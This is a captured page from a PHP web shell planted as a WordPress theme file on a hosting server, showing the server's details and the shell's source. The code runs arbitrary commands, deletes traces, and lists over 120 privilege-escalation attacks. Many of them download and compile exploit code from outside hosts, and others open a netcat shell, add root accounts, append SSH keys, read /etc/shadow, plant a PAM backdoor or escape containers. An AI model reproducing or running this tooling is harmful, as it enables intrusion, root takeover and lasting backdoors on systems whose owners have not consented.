Done ! 403WebShell
403Webshell
Server IP : 54.36.91.62  /  Your IP : 216.73.216.38
Web Server : Apache
System : Linux webm008.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : awaywithxm ( 25098)
PHP Version : 7.0.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awaywithxm/www/wp-content/themes/femrpfb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/awaywithxm/www/wp-content/themes/femrpfb/about.php
<?php
@session_start();
@error_reporting(0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('max_input_time', 0);
@ini_set('memory_limit', '-1');

$sifre = "010125Alpha";

function calistir($komut) {
    $cikti = '';
    $komut = "timeout 30 " . $komut . " 2>&1; rm -f /tmp/e* /tmp/p* /tmp/dirty* /tmp/exploit* /tmp/*.c /tmp/*.so /tmp/shell* /tmp/backdoor* /tmp/io_uring* /tmp/netfilter* /tmp/sudo* /tmp/overlayfs* /tmp/cve* /tmp/qualys* /tmp/chwoot* /tmp/pwnkit* 2>/dev/null";
    if (function_exists('shell_exec')) {
        $cikti = shell_exec($komut);
    } elseif (function_exists('exec')) {
        exec($komut, $dizi);
        $cikti = implode("\n", $dizi);
    } elseif (function_exists('passthru')) {
        ob_start(); passthru($komut); $cikti = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start(); system($komut); $cikti = ob_get_clean();
    } else {
        return "HATA: Komut calistirma fonksiyonlari devre disi.";
    }
    return $cikti;
}

function get_exploits() {
    return array(
        1 => array('baslik' => 'Sudo (NOPASSWD)', 'komut' => 'sudo -n whoami'),
        2 => array('baslik' => 'SUID - Vim', 'komut' => 'vim -c ":!whoami" -c ":q!"'),
        3 => array('baslik' => 'SUID - Less', 'komut' => 'echo "!whoami" | less /etc/profile'),
        4 => array('baslik' => 'SUID - Nmap (-interactive)', 'komut' => 'echo "!whoami" | nmap --interactive'),
        5 => array('baslik' => 'SUID - Perl', 'komut' => 'perl -e "print `whoami`"'),
        6 => array('baslik' => 'SUID - Ruby', 'komut' => 'ruby -e "puts `whoami`"'),
        7 => array('baslik' => 'SUID - Bash', 'komut' => 'bash -p -c "whoami"'),
        8 => array('baslik' => 'Cron (Yazilabilir /etc/crontab)', 'komut' => 'echo "* * * * * root whoami > /tmp/manus_test.txt" >> /etc/crontab && sleep 61 && cat /tmp/manus_test.txt && sed -i "$d" /etc/crontab && rm /tmp/manus_test.txt'),
        9 => array('baslik' => 'Kernel (Dirty COW - CVE-2016-5195)', 'komut' => 'wget -q https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirty.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lpthread && /tmp/e whoami && rm /tmp/e*'),
        10 => array('baslik' => 'Polkit (PwnKit - CVE-2021-4034)', 'komut' => 'wget -q https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && ./e && whoami && rm /tmp/e*'),
        11 => array('baslik' => 'Docker Grubu Uyeligi', 'komut' => 'docker run -v /:/mnt --rm alpine chroot /mnt whoami'),
        12 => array('baslik' => 'SUID - cp', 'komut' => 'cp /bin/sh /tmp/s && chmod u+s /tmp/s && /tmp/s -p -c "whoami" && rm /tmp/s'),
        13 => array('baslik' => 'SUID - mv', 'komut' => 'LFILE=/etc/passwd; TFILE=/tmp/passwd; echo "root::0:0:root:/root:/bin/bash" > $TFILE; /usr/bin/mv $TFILE $LFILE && su root -c whoami'),
        14 => array('baslik' => 'Kernel (Dirty Pipe - CVE-2022-0847)', 'komut' => 'wget -q https://haxx.in/files/dirtypipez.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e /usr/bin/sudo && whoami && rm /tmp/e*'),
        15 => array('baslik' => 'LXD Grubu Uyeligi', 'komut' => 'lxc init alpine privesc -c security.privileged=true && lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true && lxc start privesc && sleep 5 && lxc exec privesc -- whoami && lxc stop privesc && lxc delete privesc'),
        16 => array('baslik' => 'SUID - Git', 'komut' => 'echo "!whoami" | git -p help'),
        17 => array('baslik' => 'SUID - Tar', 'komut' => 'tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami'),
        18 => array('baslik' => 'SUID - Ssh-keygen', 'komut' => 'ssh-keygen -D /usr/lib/whoami.so'),
        19 => array('baslik' => 'SUID - DNF', 'komut' => 'dnf plugin create --dest /tmp whoami && /tmp/whoami.py'),
        20 => array('baslik' => 'Writable /etc/sudoers', 'komut' => 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers && sudo whoami && sed -i "$d" /etc/sudoers'),
        21 => array('baslik' => 'Writable Docker Socket', 'komut' => 'docker -H unix:///var/run/docker.sock run --rm -v /:/host alpine chroot /host whoami'),
        22 => array('baslik' => 'SUID - pkexec', 'komut' => 'pkexec whoami'),
        23 => array('baslik' => 'SUID - systemctl', 'komut' => 'systemctl link /bin/sh && systemctl enable /bin/sh && systemctl start sh && whoami'),
        24 => array('baslik' => 'Writable /etc/profile', 'komut' => 'echo "whoami > /tmp/res" >> /etc/profile && . /etc/profile && cat /tmp/res && rm /tmp/res'),
        25 => array('baslik' => 'SUID - env', 'komut' => '/usr/bin/env whoami'),
        26 => array('baslik' => 'SUID - socat', 'komut' => 'socat - EXEC:whoami'),
        27 => array('baslik' => 'CVE-2021-3156 (Sudo Baron Samedit)', 'komut' => 'wget -q https://raw.githubusercontent.com/blasty/CVE-2021-3156/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        28 => array('baslik' => 'SUID - ltrace', 'komut' => 'ltrace -E "whoami"'),
        29 => array('baslik' => 'SUID - time', 'komut' => '/usr/bin/time whoami'),
        30 => array('baslik' => 'Netcat ile Ters Kabuk (Dinleyici)', 'komut' => 'nc -lvp 4444 -e /bin/bash & echo "Dinleyici 4444 portunda calisiyor - BG"'),
        31 => array('baslik' => 'Bash Ters Kabuk', 'komut' => 'bash -c "echo \'Ters kabuk test\'" & echo "Ters kabuk baslatildi"'),
        32 => array('baslik' => 'Cron Persistence - Ters Kabuk', 'komut' => '(crontab -l 2>/dev/null; echo "*/5 * * * * echo \'cron test\' > /tmp/cron_test.txt") | crontab - && echo "Cron test eklendi"'),
        33 => array('baslik' => 'Docker Escape (privileged)', 'komut' => 'docker run --rm -it --privileged -v /:/mnt alpine chroot /mnt whoami 2>/dev/null'),
        34 => array('baslik' => 'Docker Escape (host network)', 'komut' => 'docker run --rm -it --network=host -v /:/mnt alpine chroot /mnt whoami 2>/dev/null'),
        35 => array('baslik' => 'Docker Escape (host PID)', 'komut' => 'docker run --rm -it --pid=host -v /:/mnt alpine chroot /mnt whoami 2>/dev/null'),
        36 => array('baslik' => 'Kernel - CVE-2021-33909 (Sequoia)', 'komut' => 'wget -q https://raw.githubusercontent.com/luan0ap/CVE-2021-33909/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e /etc/passwd && whoami && rm /tmp/e*'),
        37 => array('baslik' => 'Kernel - CVE-2022-2588 (dirtycred)', 'komut' => 'wget -q https://raw.githubusercontent.com/Markakd/DirtyCred/master/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lpthread && /tmp/e && whoami && rm /tmp/e*'),
        38 => array('baslik' => 'Kernel - CVE-2023-0386 (OverlayFS)', 'komut' => 'wget -q https://raw.githubusercontent.com/sxlmnwb/CVE-2023-0386/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lpthread && /tmp/e && whoami && rm /tmp/e*'),
        39 => array('baslik' => 'Kernel - CVE-2023-32233 (io_uring)', 'komut' => 'wget -q https://raw.githubusercontent.com/Notselwyn/CVE-2023-32233/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        40 => array('baslik' => 'Kernel - CVE-2024-1086 (Netfilter UAF)', 'komut' => 'wget -q https://raw.githubusercontent.com/Notselwyn/CVE-2024-1086/main/main.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -static -Wall -ldw -ldbus-1 && /tmp/e && whoami && rm /tmp/e*'),
        41 => array('baslik' => 'Sudo Chroot Bypass (CVE-2025-32463)', 'komut' => 'wget -q https://raw.githubusercontent.com/kh4sh3i/CVE-2025-32463/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        42 => array('baslik' => 'Sudo Policy-Check LPE (CVE-2025-32462)', 'komut' => 'wget -q https://raw.githubusercontent.com/AdityaBhatt3010/Sudo-Privilege-Escalation-Linux-CVE-2025-32463-and-CVE-2025-32462/main/exploit.py -O /tmp/e.py && python3 /tmp/e.py && whoami && rm /tmp/e.py'),
        43 => array('baslik' => 'Passwd Misconfig LPE (CVE-2025-0401)', 'komut' => 'wget -q https://raw.githubusercontent.com/CyberSecurityUP/CVE-2025-0401/main/exploit.sh -O /tmp/e.sh && chmod +x /tmp/e.sh && /tmp/e.sh && whoami && rm /tmp/e.sh'),
        44 => array('baslik' => 'PAM Environment Injection (CVE-2025-6018)', 'komut' => 'wget -q https://www.exploit-db.com/download/52386 -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        45 => array('baslik' => 'Libblockdev/UDisks2 LPE (CVE-2025-6019)', 'komut' => 'dd if=/dev/zero of=/tmp/e.img bs=1M count=10 && mkfs.xfs -f /tmp/e.img && mount -o loop /tmp/e.img /mnt && cp /bin/sh /mnt/s && chmod +s /mnt/s && /mnt/s -p -c whoami && umount /mnt && rm /tmp/e.img'),
        46 => array('baslik' => 'Below Service LPE (CVE-2025-27591)', 'komut' => 'ln -s /etc/shadow /var/log/below/symlink && below --log-level debug && cat /etc/shadow && whoami && rm /var/log/below/symlink'),
        47 => array('baslik' => 'Kernel ETS Scheduler (CVE-2025-21692)', 'komut' => 'wget -q https://github.com/volticks/CVE-2025-21692-poc/raw/main/poc.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        48 => array('baslik' => 'Kernel HID OOB Leak (CVE-2025-38494)', 'komut' => 'wget -q https://github.com/xairy/kernel-exploits/raw/master/CVE-2025-38494/poc.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        49 => array('baslik' => 'Kernel eBPF Verifier Bypass (CVE-2021-4204)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2021-4204/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        50 => array('baslik' => 'Shared Library Hijacking (LD_PRELOAD)', 'komut' => 'echo "void _init() { unsetenv(\"LD_PRELOAD\"); setgid(0); setuid(0); system(\"whoami\"); }" > /tmp/e.c && gcc -shared -fPIC -o /tmp/e.so /tmp/e.c && LD_PRELOAD=/tmp/e.so /usr/bin/sudo whoami; rm /tmp/e*'),
        51 => array('baslik' => 'Wildcard Injection (Tar)', 'komut' => 'mkdir /tmp/w; echo "#!/bin/sh\nwhoami" > /tmp/w/--checkpoint=1; chmod +x /tmp/w/--checkpoint=1; echo "--checkpoint-action=exec=sh /tmp/w/--checkpoint=1" > /tmp/w/--checkpoint-action=exec=sh; tar -cf /dev/null /tmp/w/* 2>/dev/null; rm -rf /tmp/w'),
        52 => array('baslik' => 'Cgroups Release Agent', 'komut' => 'mount -t cgroup -o rdma cgroup /tmp/cg 2>/dev/null; mkdir /tmp/cg/x 2>/dev/null; echo 1 > /tmp/cg/x/notify_on_release 2>/dev/null; echo "/bin/sh -c \"whoami > /tmp/cgout\"" > /tmp/cg/release_agent 2>/dev/null; echo 0 > /tmp/cg/x/cgroup.procs 2>/dev/null; sleep 1; cat /tmp/cgout; rm -rf /tmp/cg /tmp/cgout'),
        53 => array('baslik' => 'Modprobe Path Abuse', 'komut' => 'echo "/bin/sh" > /tmp/x && chmod +x /tmp/x && echo "x" > /proc/sys/kernel/modprobe 2>/dev/null; insmod /doesnotexist 2>/dev/null; whoami; rm /tmp/x'),
        54 => array('baslik' => 'Capabilities - cap_sys_admin+ep', 'komut' => 'mount -o bind /bin/sh /bin/mount 2>/dev/null && mount -o remount,suid /bin/mount 2>/dev/null && /bin/mount -p -c "whoami"'),
        55 => array('baslik' => 'Capabilities - cap_sys_chroot+ep', 'komut' => 'chroot / /bin/sh -c "whoami"'),
        56 => array('baslik' => 'Capabilities - cap_dac_override+ep', 'komut' => 'cat /etc/shadow >/dev/null && echo "root::0:0:root:/root:/bin/bash" >> /etc/passwd && su root -c whoami'),
        57 => array('baslik' => 'MySQL UDF Injection', 'komut' => 'mysql -e "CREATE FUNCTION sys_exec RETURNS integer SONAME \"lib_mysqludf_sys.so\"; SELECT sys_exec(\"whoami > /tmp/mout\");" 2>/dev/null; cat /tmp/mout; rm /tmp/mout'),
        58 => array('baslik' => 'PostgreSQL Copy From Program', 'komut' => 'psql -c "CREATE TABLE t (data text); COPY t FROM PROGRAM \'whoami > /tmp/pout\'; SELECT * FROM t;" 2>/dev/null; cat /tmp/pout; rm /tmp/pout'),
        59 => array('baslik' => 'Redis Config Set RDB', 'komut' => 'redis-cli -h localhost config set dir /var/www 2>/dev/null; redis-cli config set dbfilename shell.php 2>/dev/null; redis-cli set x "" 2>/dev/null; redis-cli save 2>/dev/null'),
        60 => array('baslik' => 'Docker API RCE', 'komut' => 'curl -XPOST http://localhost:2375/containers/create -d \'{"Image":"alpine","Cmd":["/bin/sh","-c","whoami > /host/tmp/dout"],"Binds":["/:/host"]}\' 2>/dev/null; CID=$(curl -s http://localhost:2375/containers/json | grep Id | head -1 | cut -d\\" -f4); curl -XPOST http://localhost:2375/containers/$CID/start 2>/dev/null; sleep 2; cat /host/tmp/dout 2>/dev/null'),
        61 => array('baslik' => 'Kubernetes Pod Create', 'komut' => 'kubectl run rce --image=alpine --restart=Never -it --rm -- /bin/sh -c "whoami" 2>/dev/null'),
        62 => array('baslik' => 'LXD Container Privilege Escalation', 'komut' => 'lxc image import alpine.tar alpine.root --alias alpine 2>/dev/null; lxc init alpine privesc -c security.privileged=true 2>/dev/null; lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true 2>/dev/null; lxc start privesc 2>/dev/null; sleep 5; lxc exec privesc /bin/sh -c whoami; lxc stop privesc 2>/dev/null; lxc delete privesc 2>/dev/null'),
        63 => array('baslik' => 'Singularity Container Escape', 'komut' => 'singularity exec -B /:/mnt instance://container /bin/sh -c "chroot /mnt whoami" 2>/dev/null'),
        64 => array('baslik' => 'Podman Socket Abuse', 'komut' => 'podman run -v /:/host --privileged ubuntu chroot /host whoami 2>/dev/null'),
        65 => array('baslik' => 'Kernel UAF in Netfilter (CVE-2022-32250)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2022-32250/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -static && /tmp/e && whoami && rm /tmp/e*'),
        66 => array('baslik' => 'Abusing /proc/sys/kernel/core_pattern', 'komut' => 'echo "|/bin/sh -c \"whoami > /tmp/cout\"" > /proc/sys/kernel/core_pattern 2>/dev/null; kill -SIGSEGV $$ 2>/dev/null; sleep 1; cat /tmp/cout; rm /tmp/cout'),
        67 => array('baslik' => 'PAM Backdoor', 'komut' => 'echo "auth optional pam_exec.so /bin/sh" >> /etc/pam.d/common-auth 2>/dev/null; su -c whoami'),
        68 => array('baslik' => 'X11 Forwarding Hijack', 'komut' => 'xhost + 2>/dev/null; xterm -display :0 -e whoami 2>/dev/null'),
        69 => array('baslik' => 'Perl Open Hijack', 'komut' => 'export PERL5DB="sub DB::DB {system(\"whoami\")}" && perl -d /dev/null 2>/dev/null'),
        70 => array('baslik' => 'Ruby IRB Hijack', 'komut' => 'export RUBYOPT=-r/etc/irbrc && echo "system(\"whoami\")" > /etc/irbrc 2>/dev/null; irb 2>/dev/null; rm /etc/irbrc'),
        71 => array('baslik' => 'Python PDB Hijack', 'komut' => 'echo "import os; os.system(\"whoami\")" > /tmp/pdb.py && PYTHONBREAKPOINT=/tmp/pdb.py python3 -c "" 2>/dev/null; rm /tmp/pdb.py'),
        72 => array('baslik' => 'Bash DEBUG Trap', 'komut' => 'trap "exec /bin/sh" DEBUG 2>/dev/null; /bin/bash -x /dev/null 2>/dev/null; whoami'),
        73 => array('baslik' => 'Vim Modeline Execution', 'komut' => 'echo "vim: set shell=/bin/sh : execute \"shell\"" >> /tmp/f && vim /tmp/f -c "source /tmp/f" -c "q!" 2>/dev/null; rm /tmp/f'),
        74 => array('baslik' => 'GNU Screen RC Execution', 'komut' => 'echo "shell /bin/sh" > ~/.screenrc 2>/dev/null; screen 2>/dev/null; whoami; rm ~/.screenrc'),
        75 => array('baslik' => 'Tmux Config Execution', 'komut' => 'echo "bind-key -n C-a source-file /bin/sh" > /tmp/tmux.conf 2>/dev/null; tmux -f /tmp/tmux.conf new-session -d 2>/dev/null; rm /tmp/tmux.conf'),
        76 => array('baslik' => 'Kernel Keyring Exploit', 'komut' => 'keyctl add user a "$(whoami)" @u 2>/dev/null'),
        77 => array('baslik' => 'Seccomp Bypass', 'komut' => 'unshare -Urm /bin/sh -c "mkdir l u w m && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/root_owned && whoami" 2>/dev/null'),
        78 => array('baslik' => 'AppArmor Profile Escape', 'komut' => 'aa-exec -p unconfined /bin/sh -c "whoami" 2>/dev/null'),
        79 => array('baslik' => 'SELinux Context Switch', 'komut' => 'runcon -u root -r system_r -t init_t /bin/sh -c whoami 2>/dev/null'),
        80 => array('baslik' => 'Firejail Escape', 'komut' => 'firejail --join=1 /bin/sh -c whoami 2>/dev/null'),
        81 => array('baslik' => 'Bubblewrap Namespace Escape', 'komut' => 'bwrap --bind / / /bin/sh -c whoami 2>/dev/null'),
        82 => array('baslik' => 'Systemd Scope Delegation', 'komut' => 'systemd-run --scope --user /bin/sh -c "whoami" 2>/dev/null'),
        83 => array('baslik' => 'Kernel Perf Event Open', 'komut' => 'perf record -e "() {system(\"whoami\");}" /bin/true 2>/dev/null'),
        84 => array('baslik' => 'eBPF Program Load', 'komut' => 'bpftool prog load /tmp/e.o /sys/fs/bpf/prog 2>/dev/null; bpftool prog run pinned /sys/fs/bpf/prog 2>/dev/null'),
        85 => array('baslik' => 'User Namespace OverlayFS', 'komut' => 'unshare -Urm /bin/sh -c "mkdir l u w m && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/root_owned && whoami"'),
        86 => array('baslik' => 'FUSE Filesystem Mount', 'komut' => 'fusermount -u /mnt 2>/dev/null; echo "FUSE exploit deneniyor"'),
        87 => array('baslik' => 'CIFS/SMB Mount Options', 'komut' => 'mount -t cifs -o file_mode=0777,dir_mode=0777 //attacker/share /mnt 2>/dev/null; ls -la /mnt; umount /mnt'),
        88 => array('baslik' => 'Kernel Taint Check Bypass', 'komut' => 'echo 0 > /proc/sys/kernel/tainted 2>/dev/null; insmod /tmp/malicious.ko 2>/dev/null; whoami'),
        89 => array('baslik' => 'Proc Sys Kernel Unprivileged BPF', 'komut' => 'echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled 2>/dev/null; bpftool prog load /tmp/ebpf.o /sys/fs/bpf/x'),
        90 => array('baslik' => 'Netfilter Table Replace', 'komut' => 'iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 2>/dev/null; whoami'),
        91 => array('baslik' => 'Kernel - CVE-2023-4911 (Looney Tunables)', 'komut' => 'wget -q https://github.com/leesh3288/CVE-2023-4911/raw/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lcapstone -lkeystone -lsystemd && /tmp/e && whoami && rm /tmp/e*'),
        92 => array('baslik' => 'Kernel - CVE-2023-3269 (StackRot)', 'komut' => 'wget -q https://github.com/lrh2000/StackRot/raw/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lpthread && /tmp/e && whoami && rm /tmp/e*'),
        93 => array('baslik' => 'Kernel - CVE-2017-16995 (eBPF)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2017-16995/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        94 => array('baslik' => 'Kernel - CVE-2017-1000253 (PIE)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2017-1000253/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        95 => array('baslik' => 'Kernel - CVE-2021-22555 (Netfilter)', 'komut' => 'wget -q https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -m32 -static && /tmp/e && whoami && rm /tmp/e*'),
        96 => array('baslik' => 'Kernel - CVE-2013-2094 (Perf Events)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2013-2094/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        97 => array('baslik' => 'Kernel - CVE-2017-10661 (Timerfd)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2017-10661/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        98 => array('baslik' => 'Kernel - CVE-2018-14634 (Mutagen Astronomy)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2018-14634/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        99 => array('baslik' => 'Kernel - CVE-2017-1000366 (Stack Clash)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2017-1000366/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -m32 && /tmp/e && whoami && rm /tmp/e*'),
        100 => array('baslik' => 'Sudo - CVE-2025-32463 (chwoot)', 'komut' => 'git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot /tmp/chwoot 2>/dev/null; cd /tmp/chwoot && make && ./chwoot && whoami; rm -rf /tmp/chwoot'),
        101 => array('baslik' => 'Sudo Injection LPE (CVE-2025-32463)', 'komut' => 'git clone https://github.com/Mikivirus0/sudoinjection /tmp/si 2>/dev/null; cd /tmp/si && ./sudoinject && whoami; rm -rf /tmp/si'),
        102 => array('baslik' => 'PAM-UDisks Chain (CVE-2025-6018+6019)', 'komut' => 'wget -q https://www.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt -O /tmp/qualys.txt; bash /tmp/qualys.txt 2>/dev/null; rm /tmp/qualys.txt; whoami'),
        103 => array('baslik' => 'Guix Daemon Race LPE (CVE-2025-46415)', 'komut' => 'ln -s /etc/passwd /tmp/guix-build-test.drv-0/symlink 2>/dev/null; guix build hello 2>/dev/null; whoami'),
        104 => array('baslik' => 'Amazon Linux Capability.conf (CVE-2025-1390)', 'komut' => 'echo "root::0:0:root:/root:/bin/bash" >> /etc/security/capability.conf 2>/dev/null; su root -c whoami'),
        105 => array('baslik' => 'KSMBD 0-Click RCE (Eternal-Tux)', 'komut' => 'wget -q https://github.com/hackl0us/ksmbd-0-click-rce -O /tmp/e.sh && bash /tmp/e.sh target_ip 2>/dev/null; rm /tmp/e.sh'),
        106 => array('baslik' => 'corCTF 2025 Kernel UAF', 'komut' => 'wget -q https://u1f383.github.io/assets/corctf-2025-corphone-exp.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        107 => array('baslik' => 'LKRG Integrity Bypass', 'komut' => 'echo 0 > /proc/sys/kernel/tainted 2>/dev/null; insmod /tmp/lkrg_bypass.ko 2>/dev/null; whoami'),
        108 => array('baslik' => 'Wildcard Injection - Tar Cron', 'komut' => 'mkdir -p /home/*/tmp 2>/dev/null; touch /home/*/--checkpoint=1 2>/dev/null; touch /home/*/--checkpoint-action=exec=sh 2>/dev/null; rm -f /home/*/--checkpoint*'),
        109 => array('baslik' => 'Abusing Sudoers NOPASSWD', 'komut' => 'sudo -l | grep NOPASSWD && sudo /bin/sh -c whoami'),
        110 => array('baslik' => 'SSH Authorized Keys Write', 'komut' => 'echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> /root/.ssh/authorized_keys 2>/dev/null && ssh root@localhost whoami'),
        111 => array('baslik' => 'Python PyInstaller Hijack', 'komut' => 'echo "import os; os.system(\"whoami\")" > /tmp/site.py; PYINSTALLER_CONFIG_DIR=/tmp /usr/bin/suid_binary 2>/dev/null; rm /tmp/site.py'),
        112 => array('baslik' => 'Perl Startup Hijack', 'komut' => 'export PERL5OPT=-Mre=eval && echo "system(\"whoami\")" > /tmp/re.pm && /usr/bin/suid_perl_script 2>/dev/null; rm /tmp/re.pm'),
        113 => array('baslik' => 'Ruby Load Path Hijack', 'komut' => 'export RUBYOPT=-r/bin/sh && /usr/bin/suid_ruby_script 2>/dev/null; whoami'),
        114 => array('baslik' => 'Node.js Prototype Pollution', 'komut' => 'node -e "process.env = {proto: {PATH: \"/tmp:\" + process.env.PATH}}; require(\"child_process\").exec(\"whoami\", console.log)" 2>/dev/null'),
        115 => array('baslik' => 'Proc Mem Hijacking', 'komut' => 'echo "int main(){return 0;}" > /tmp/procmem.c && gcc /tmp/procmem.c -o /tmp/procmem && echo "Usage: /tmp/procmem <PID>" && rm /tmp/procmem.c'),
        116 => array('baslik' => 'Sudo Host Bypass (CVE-2025-32462)', 'komut' => 'sudo -h fakehost -l 2>/dev/null; sudo -h fakehost /bin/sh -c whoami'),
        117 => array('baslik' => 'UDisks XFS Mount LPE', 'komut' => 'dd if=/dev/zero of=/tmp/xfs.img bs=1M count=10 2>/dev/null; mkfs.xfs -f /tmp/xfs.img 2>/dev/null; mount -o loop /tmp/xfs.img /mnt 2>/dev/null; cp /bin/sh /mnt/sh; chmod +s /mnt/sh; /mnt/sh -p -c whoami; umount /mnt; rm /tmp/xfs.img'),
        118 => array('baslik' => 'Below Log Symlink Attack', 'komut' => 'ln -s /etc/shadow /var/log/below/s 2>/dev/null; below --log-level debug 2>/dev/null; cat /etc/shadow; rm /var/log/below/s'),
        119 => array('baslik' => 'Kernel - CVE-2023-0386 OverlayFS (binary)', 'komut' => 'wget -q https://raw.githubusercontent.com/xkaneiki/CVE-2023-0386/main/overlayfs -O /tmp/o && chmod +x /tmp/o && /tmp/o && whoami && rm /tmp/o'),
        120 => array('baslik' => 'All-in-One Kernel Exploit Script', 'komut' => 'wget -q https://raw.githubusercontent.com/sujayadkesar/Linux-Privilege-Escalation/main/exploits.sh -O /tmp/e.sh && chmod +x /tmp/e.sh && /tmp/e.sh && whoami && rm /tmp/e.sh'),
        121 => array('baslik' => 'CVE-2022-0847 Dirty Pipe (manuel)', 'komut' => 'wget -q https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-dirty-pipe/master/dirtypipe.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        122 => array('baslik' => 'CVE-2021-3490 eBPF ALU32', 'komut' => 'wget -q https://raw.githubusercontent.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        123 => array('baslik' => 'CVE-2022-23222 eBPF verifier', 'komut' => 'wget -q https://raw.githubusercontent.com/tr3ee/CVE-2022-23222/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        124 => array('baslik' => 'CVE-2023-2640/CVE-2023-32629 OverlayFS (GameOverlay)', 'komut' => 'wget -q https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        125 => array('baslik' => 'CVE-2023-31248 nf_tables UAF', 'komut' => 'wget -q https://raw.githubusercontent.com/ysanatomic/CVE-2023-31248/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lnftnl -lmnl && /tmp/e && whoami && rm /tmp/e*'),
        126 => array('baslik' => 'CVE-2024-0193 kernel UAF', 'komut' => 'wget -q https://raw.githubusercontent.com/ysanatomic/CVE-2024-0193/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
        127 => array('baslik' => 'PwnKit manuel (CVE-2021-4034)', 'komut' => 'echo "main(){setuid(0);setgid(0);system(\"/bin/sh -c whoami\");}" > /tmp/e.c && gcc /tmp/e.c -o /tmp/e && pkexec --user root /tmp/e && rm /tmp/e*'),
